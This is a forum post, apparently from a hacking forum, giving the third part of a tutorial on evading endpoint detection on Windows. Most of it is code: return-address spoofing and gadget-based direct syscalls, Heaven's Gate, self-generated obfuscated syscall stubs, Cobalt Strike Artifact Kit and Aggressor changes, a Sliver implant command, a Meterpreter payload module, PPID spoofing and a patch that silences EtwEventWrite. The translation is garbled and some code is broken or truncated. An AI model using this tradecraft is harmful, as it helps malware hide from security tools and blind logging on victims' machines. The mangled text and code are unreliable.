Bypassing EDR through a direct syscall call PART 3/2 BONUS

Depov

Activist
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
126
Reaction score
116
Deposit
0$

7.1. Detect on anomalies in the execution stream​


Modern EDRs use hardware breakpoints and Execution Tracing. Theycan track where the syscalll call comes from.

Problem:When you call syscal from your code, the RIP (Instruction Pointer)registry points to the memory area that:

  1. It does not belong to the well-known system module (ndll.dll).
  2. Often in the region with PAGE_EXECUTE_READWRITE (suspicious in itself).
  3. Does not have the correct structure of the function (there is no prologue mov r10, rcx, there may be no epilogue).

Solution 1: Return Address Spoofing (substitution of the returnaddress)

Idea: to make sure that at the entrance to thenucleus, in the return stack there was an address inside ntdll.dll.This will deceive the detects that check the chain of calls.






C:






// Example for x64 using the built-in assembler


NTSTATUS SpoofedNtAllocateVirtualMemory(


HANDLE ProcessHandle,


PVOID* BaseAddress,


ULONG_PTR ZeroBits,


PSIZE_T RegionSize,


ULONG AllocationType,


ULONG Protect,


DWORD ssn) {


NTSTATUS status = 0;


PVOID fakeReturnAddress = GetAddressInsideNtdll(); // Find the retaddress inside ntdll


__asm {


// Save the involuntary registers


push rbx


push rsi


push rdi


// Prepare arguments


mov r10, rcx


mov rcx, ProcessHandle


mov rdx, BaseAddress


mov r8, ZeroBits


mov r9, RegionSize


// Push arguments 5 and 6 onto the stack


mov rax, AllocationType


mov [rsp+32], rax


mov rax, Protect


mov [rsp+40], rax


// Override the return address


push fakeReturnAddress // Push the fake return address


// Call


mov eax, ssn


syscall


// After the syscall, we won’t return here, but to ntdll


// Therefore, the following code won’t execute directly


add rsp, 8 // Clear fakeReturnAddress from the stack


mov status, eax


pop rdi


pop rsi


pop rbx


}


return status;


}








Important: This method requires a deep understanding of the workof the stack. Improper manipulation of the stack will lead tocollapse.

Decision 2: Jump Oriented Syscal (JOP)

Insteadof direct call syscall, we use a chain of jmp gadgets insidentdll.dll, which will eventually lead to the execution of syscal.


C:






PVOID FindSyscallGadget() {


// Search ntdll.dll for the sequence:


// jmp [mem] or call [mem], which points to a syscall


// Or even: mov eax, SSN; jmp [syscall_address]


HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);


PBYTE base = (PBYTE)hNtdll;


PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(base +((PIMAGE_DOS_HEADER)base)->e_lfanew);


DWORD textSize = ntHeaders->OptionalHeader.SizeOfCode;


PBYTE textStart = base + ntHeaders->OptionalHeader.BaseOfCode;


for (DWORD i = 0; i < textSize - 20; i++) {


// Search for jmp/call with indirect addressing


if ((textStart == 0xFF && (textStart[i+1] == 0x25 ||textStart[i+1] == 0x15)) || // jmp/call [mem]


(textStart == 0x48 && textStart[i+1] == 0xFF &&textStart[i+2] == 0x25)) { // jmp qword ptr [rip+offset]


// Check if this jump leads to a syscall


PVOID possibleTarget = ResolveIndirectJump(textStart + i);


if (IsAddressWithinSyscall(possibleTarget)) {


return textStart + i;


}


}


}


return NULL;


}











Solution 3: Heaven's Gate (WoW64 Transition)

For 32-bitprocesses on 64-bit Windows (WoW64), there is a "gateway to sky"- a transition from 32-bit mode to 64-bit mode. Some EDRs hop only32-bit calls, but do not follow the 64-bit ones.


Code:






; 32-bit code


heavens_gate:


push 0x33 ; Selector for 64-bit code


call @f


db 0xEA ; Byte for far jump


dd offset @f ; Offset


dw 0x33 ; Selector


@@:


; Now we are in 64-bit mode


; We can execute a 64-bit syscall


mov eax, SSN


syscall


; Return to 32-bit mode


push 0x23 ; 32-bit code selector


push offset @back


retf


@back:


; Continuation of 32-bit code







It’s an exoticmethod, but it shows that there are always alternative paths.


7.2. Detect on anomalies in the SSDT (Kernel Side)​


More advanced EDRs can verify the integrity of the system calltable (SSDT) in the kernel. If the EDR driver sees that some processcauses syscall, which is not in the SSDT (or with the wrong SSN), itwill be a flag.

Bypass:
  1. Correct SSN: Always use the current SSN for the target system.
  2. Do not use outdated/undocumented syscal: For example, NtSystemDebugControl is rarely used by legitimate software.
  3. Imitation of legitimate challenges: Call syscal with parameters that are typical for legitimate software.

7.3. Syscall Detect Execution Time​


EDR can measure the syscall runtime. If the call is executed tooquickly (because there are no hooks) or too slowly (because there isan additional logic of the detect), it can be aflag.

Countermeasures:

  • Adding Delays: Use NtDelayExecution with small random intervals before critical calls.
  • Call garbage syscall: Create a "noise" by calling legitimate syscal between critical operations.

C:






// Function to add a random delay


VOID AddJitter() {


LARGE_INTEGER interval;


interval.QuadPart = -(10000 * (10 + rand() % 50)); // 10–60 msin 100-nanosecond increments


NtDelayExecution(FALSE, &interval);


}






// Usage


AddJitter();


status = NtAllocateVirtualMemory(...);


AddJitter();










7.4. Memory pattern detect (code signatures)​


EDR scans process memory for the presence of known signatures. Fordirect syscals typical signatures:


  • MOV EAX, &lt;SSN&gt; (B8 ?? ?? ?? ??)
  • MOV R10, RCX (4C 8B D1 or 49 8B D1)
  • SYSCALL (0F 05)
  • Combination of the above

Oceans on the fly:






C:






// Generate a unique sequence for each call


PBYTE GenerateObfuscatedSyscall(DWORD ssn) {


// Allocate executable memory


PBYTE buffer = (PBYTE)VirtualAlloc(NULL, 64, MEM_COMMIT,PAGE_EXECUTE_READWRITE);


// Generate random code


PBYTE p = buffer;


// Option 1: MOV EAX, SSN via PUSH/POP


*p++ = 0x68; // PUSH imm32


*((PDWORD)p) = ssn; p += 4;


*p++ = 0x58; // POP EAX


// Option 2: MOV R10, RCX via register swap


*p++ = 0x49; // REX.W


*p++ = 0x87; // XCHG


*p++ = 0xCA; // RDX, RCX (but ultimately needs to be in R10)


// Add dummy instructions


if (rand() % 2) {


*p++ = 0x90; // NOP


*p++ = 0x48; // DEC EAX (dummy)


*p++ = 0x48;


}


// SYSCALL


*p++ = 0x0F;


*p++ = 0x05;


// RET


*p++ = 0xC3;


return buffer;


}






// Usage


PBYTE syscallStub = GenerateObfuscatedSyscall(ssn);


NTSTATUS status = ((NTSTATUS (*)(...))syscallStub)(args...);


VirtualFree(syscallStub, 0, MEM_RELEASE);







Disadvantage:Isolation of the memory of the executable is suspicious every time.It is better to have a pool of pre-generated staff.




8. Integration with existing frameworks. Details.​


8.1. Cobalt Strike: Aggressor Script and Artifact Kit​


Cobalt Strike already has some mechanisms for direct syscall viaBeacon's "syscall" module, but it is limited. Here's how toimprove:

A. Modification Artifact Kit (for EXE/DLL):


  1. Download Artifact Kit from Cobalt Strike.
  2. In src-common/common.c find the patchme function - this is the point of entry for patches.
  3. Add your code for direct syscall:









C:






// Insert into common.c


#ifdef DIRECT_SYSCALLS


#include “syscalls.h” // Header generated by SysWhispers3






// Override critical functions


BOOL WINAPI MyVirtualAlloc(...) {


// Use direct syscalls


return (BOOL)NtAllocateVirtualMemory(...);


}






// Patching the IAT (Import Address Table)


void PatchIAT(HMODULE module) {


PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module;


PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)module +dosHeader->e_lfanew);


PIMAGE_IMPORT_DESCRIPTOR importDesc =(PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)module +


ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);


for (; importDesc->Name; importDesc++) {


if (_stricmp((char*)module + importDesc->Name, “KERNEL32.dll”)== 0) {


PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((PBYTE)module +importDesc->FirstThunk);


for (; thunk->u1.Function; thunk++) {


if ((ULONG_PTR)thunk->u1.Function ==(ULONG_PTR)GetProcAddress(GetModuleHandleA(“kernel32.dll”),“VirtualAlloc”)) {


// Replace the address with our function


DWORD oldProtect;


VirtualProtect(&thunk->u1.Function, sizeof(ULONG_PTR),PAGE_READWRITE, &oldProtect);


thunk->u1.Function = (ULONG_PTR)MyVirtualAlloc;


VirtualProtect(&thunk->u1.Function, sizeof(ULONG_PTR),oldProtect, &oldProtect);


}


}


}


}


}


#endif









Reassemble the artifacts.






B. Aggressor Script for dynamic loading:






C:






// syscall_loader.cna


sub syscall_load {


local(‘$handle $data $offset $length’);


# Read the RAW binary file with direct syscalls


$handle = openf(script_resource(“syscall.bin”));


$data = readb($handle, -1);


closef($handle);


# Load into Beacon


$offset = 0;


$length = strlen($data);


while ($offset < $length) {


$chunk = substr($data, $offset, 4096);


beacon_inline_execute($chunk);


$offset += 4096;


sleep(1000); # Pause between chunks


}


btask($bid, “Syscall module loaded”);


}






beacon_command_register(


“syscall-load”,


“Load direct syscall module”,


“Usage: syscall-load”,


&syscall_load


);







8.2. Sliver: Native Support and customization​


Sliver has built-in support for direct syscall via implants. Whenthe implant is generated, you can specify:


sliver > generate implant --os windows --arch amd64 --format shellcode --syscalls
Embossing of the implant:


  1. The original Sliver code is open. You can modify implant/sliver/syscalls/syscall_windows.go.
  2. Add your obfuscation methods on Go :





Code:






// In syscall_windows.go


// 3. Using jump gadgets


return 0


}










type SyscallWrapper struct {


SSN uint16


GadgetAddr uintptr


Obfuscated bool


}






func (s *SyscallWrapper) Call(args ...uintptr) uintptr {


if s.Obfuscated {


return s.CallObfuscated(args...)


}


return s.CallDirect(args...)


}






func (s *SyscallWrapper) CallObfuscated(args ...uintptr) uintptr {


// 1. Implementation of an obfuscatedcall


// 2. Register scrambling


// 3. Adding dummy instructions












8.3. Metasploit: Custom extensions​


For Metasploit you can write custom pelodod on Ruby:






Ruby:






# modules/payloads/windows/x64/syscall_meterpreter.rb


module MetasploitModule


include Msf::payload::Windows::SyscallMeterpreter


def initialize(info = {})


super(update_info(info,


‘Name’ => ‘Windows x64 Syscall Meterpreter’,


'Description' => ‘Meterpreter payload using direct syscalls’,


‘Author’ => [ ‘null_ptr’ ],


‘Platform’ => ‘win’,


‘Arch’ => ARCH_X64,


‘PayloadCompat’ => { ‘Convention’ => ‘sockrdi’ }


))


end


def generate(opts = {})


# Generate shellcode with direct syscalls


shellcode = super


# Add string encryption


encrypt_strings(shellcode)


# Add obfuscation


obfuscate_syscalls(shellcode)


shellcode


end


end









8.4. Your own framework: why not​


If you are seriously engaged in red team, sooner or later come tocreate your tool. Advantages:


  • Full control over all components.
  • There are no public signatures.
  • Possibility of fine-tuning for each operation.

Structure of the minimum framework:








Code:






/redframework


/syscalls


resolver.c # Dynamic SSN lookup


gate.c # Hell's/Halo's Gate implementations


obfuscator.c # Call obfuscation


/injection


apc.c # APC injection


thread.c # Thread creation


map.c # Manual DLL mapping


/evasion


etw.c # Disabling ETW


callback.c # Working with kernel callbacks


ppid.c # PPID spoofing


/payloads


meterpreter.c # Adapter for Meterpreter


cobaltstrike.c # Adapter for Cobalt Strike


custom.c # Custom payloads


/communication


http.c # HTTP communication


dns.c # DNS tunneling


smb.c # SMB channel





9. Clamps: When userland-skillers are notenough.​


9.1. Kernel Callbacks - Achilles Heel EDR​


EDRs use kernel callbacks to receive event notifications. The maintypes:


  1. Process Creation (PssSetCreateProcessNotifyRoutineEx) - creation of the process.
  2. Thread Creation (PsSetCreateTreadNotificaoutine) - creation of flow.
  3. Image Load (PssetLoadImageNotifyTanitine) - image load (DL/EXE).
  4. Registry (CmRegisterCallback) - registry transactions.
  5. File System (MiniFilter) - operations with files.
  6. Object Manager (ObRegisterCallbacks) - work with objects (processes, streams).

Bypassing through the removal of callbacks:

Theoretically,you can find and remove callback and EDR from the correspondingarrays in the nucleus. But this is:


  1. Requires administrator rights (and often disconnected DSE).
  2. Extremely unstable (may cause BSOD).
  3. Easily detectable by the EDR itself (checking the integrity of its callbacks).

A more elegant method: a substitute for context

Insteadof removing callbacks, you can make your actions look legitimate:








C:






// Parent Process ID Spoofing (PPID Spoofing)


BOOL SpoofParentProcess(DWORD targetPid) {


PROCESS_BASIC_INFORMATION pbi;


NTSTATUS status = NtQueryInformationProcess(


GetCurrentProcess(),


ProcessBasicInformation,


&pbi,


sizeof(pbi),


NULL);


// Change InheritedFromUniqueProcessId in the target process's PEB


HANDLE hTarget = OpenProcess(PROCESS_VM_WRITE |PROCESS_VM_OPERATION, FALSE, targetPid);


PPEB remotePeb;


status = NtQueryInformationProcess(


hTarget,


ProcessBasicInformation,


&pbi,


sizeof(pbi),


NULL);


remotePeb = pbi.PebBaseAddress;


// Write the new PPID (e.g., explorer.exe)


DWORD newPpid = GetProcessIdByName(“explorer.exe”);


WriteProcessMemory(hTarget,&remotePeb->ProcessParameters->ParentProcessId, &newPpid,sizeof(newPpid), NULL);


CloseHandle(hTarget);


return TRUE;









9.2. ETW and ETWTI: how to close the mouthsystem​


Event Tracing for Windows (ETW) is the main source of informationfor EDR. Especially dangerous is ETW Threat Intelligence (ETWTI),which is logging by syscal.

Methods of neutralization ETW:

A. Patchin ntdll! EtwEventWrite:













C:






BOOL PatchETW() {


HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);


if (!hNtdll) return FALSE;


FARPROC pEtwEventWrite = GetProcAddress(hNtdll, “EtwEventWrite”);


if (!pEtwEventWrite) return FALSE;


DWORD oldProtect;


if (!VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE,&oldProtect)) {


return FALSE;


}


// Patch to ret (0xC3) or ret 0 (0xC2 0x00 0x00)


#ifdef _WIN64


// For x64: mov eax, 0; ret


BYTE patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };


#else


// For x86: xor eax, eax; ret


BYTE patch[] = { 0x33, 0xC0, 0xC3 };


#endif


memcpy(pEtwEventWrite, patch, sizeof(patch));


VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);


return TRUE;


}








B. Disabling ETW via Patching in process memory:

A moresecretive method is to find ETW structures in memory and “spoil”them.










C:






typedef struct _ETW_REG_ENTRY {


LIST_ENTRY RegList;


PVOID Unknown[4];


PVOID Callback; // Callback function


} ETW_REG_ENTRY, *PETW_REG_ENTRY;






BOOL DisableETWTracing() {


// 1. Find EtwNotificationRegister in ntdll


HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);


PVOID pEtwNotificationRegister = GetProcAddress(hNtdll,“EtwNotificationRegister”);


// 2. Search its code for references to the global variablecontaining the list of registrations


// (This requires reverse engineering and depends heavily on theWindows version)


// 3. Iterate through the list and set Callback to zero or replaceit with our own dummy function


return TRUE;


}






V. Use of undocumented functions:



C:






// NtTraceControl can be used to manage ETW


typedef NTSTATUS (NTAPI *pNtTraceControl)(


ULONG FunctionCode,


PVOID InBuffer,


ULONG InBufferLen,


PVOID OutBuffer,


ULONG OutBufferLen,


PULONG ReturnLength);






BOOL DisableETWViaTraceControl() {


HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);


pNtTraceControl NtTraceControl =(pNtTraceControl)GetProcAddress(hNtdll, “NtTraceControl”);


// FunctionCode = 0x1D (EVENT_TRACE_CONTROL_STOP) to stop thesession


// You need to know the SessionHandle


// This is difficult and requires reverse engineering


return FALSE;


}






9.3. Disadvantages of work in the core​


  1. Stability: Any error in the kernel = BSOD (blue screen).
  2. Detect: PatchGuard (Kernel Patch Protection) in Windows 64-bit detects modifications of critical kernel structures.
  3. Driver Signature: Signed Driver (or disabled DSE) is required), which is difficult in modern systems.
  4. Antichitting: EDR can have their drivers that monitor the integrity of the kernel.

Recommendation: For most red team operations, a userlandtechnician is enough. The nucleus should be addressed only in specialcases and in the presence of deep knowledge.



 
Top Bottom